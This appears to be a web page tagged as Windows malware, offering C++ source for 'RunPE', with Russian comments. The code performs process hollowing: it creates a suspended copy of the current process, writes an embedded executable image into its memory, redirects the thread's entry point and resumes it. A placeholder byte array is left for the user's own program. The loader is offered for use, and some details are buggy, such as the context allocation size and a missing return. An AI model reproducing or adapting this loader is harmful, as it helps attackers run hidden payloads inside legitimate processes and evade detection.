tags: windows - malware

RunPE

#include <iostream> // Стандартная библиотека C++ для консольного I/O
#include <string> // Стандартная библиотека C++ для операций над строками

#include <Windows.h> // Заголовочный файл WinAPI
#include <TlHelp32.h> // WinAPI для работы с процессами

// используй эту функцию, если хочешь читать исполняемый файл с диска
HANDLE MapFileToMemory(LPCSTR filename)
{
	std::streampos size;
	std::fstream file(filename, std::ios::in | std::ios::binary | std::ios::ate);
	if (file.is_open())
	{
		size = file.tellg();

		char* Memblock = new char[size]();

		file.seekg(0, std::ios::beg);
		file.read(Memblock, size);
		file.close();

		return Memblock;
	}
	return 0;
}

int RunPortableExecutable(void* Image)
{
	IMAGE_DOS_HEADER* DOSHeader; // Для заголовочных символов Nt DOS
	IMAGE_NT_HEADERS* NtHeader; // Для заголовочных объектов & символов Nt PE
	IMAGE_SECTION_HEADER* SectionHeader;

	PROCESS_INFORMATION PI;
	STARTUPINFOA SI;

	CONTEXT* CTX;

	DWORD* ImageBase; // Базовый адрес файла
	void* pImageBase; // Указатель на базовый адрес

	int count;
	char CurrentFilePath[1024];

	DOSHeader = PIMAGE_DOS_HEADER(Image); // Инициализация переменной
	NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Инициализация

	GetModuleFileNameA(0, CurrentFilePath, 1024); // путь к текущему исполняемому файлу

	if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Проверка, является ли программа PE файлом
	{
		ZeroMemory(&PI, sizeof(PI)); // Зануляем память
		ZeroMemory(&SI, sizeof(SI)); // Зануляем память

		if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
			CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Создаем новый процесс, 
			// в приостановленном состоянии, для новой программы
		{
			// Выделяем память, для контекста
			CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
			CTX->ContextFlags = CONTEXT_FULL; // Контексту выделена память

			if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) // Если контекст находится в потоке
			{
				// Чтение инструкций
				ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);

				pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
					NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

				// Записываем программу в процесс
				WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);

				for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
				{
					SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
					
					WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
						LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
				}
				WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
					LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
				
				// Записываем в регистр eax адрес входной точки
				CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
				SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Устанавливаем контекст 
				ResumeThread(PI.hThread); // Стартуем процесс/вызываем main()

				return 0; // Сообщаем об успешном завершении
			}
		}
	}
}

// заполните валидными байтами вашей программы
unsigned char rawData[37376] = {
	0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
	0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};

int main()
{
	RunPortableExecutable(rawData); // запуск испольняемого файла из массива
	getchar();
}

Вверх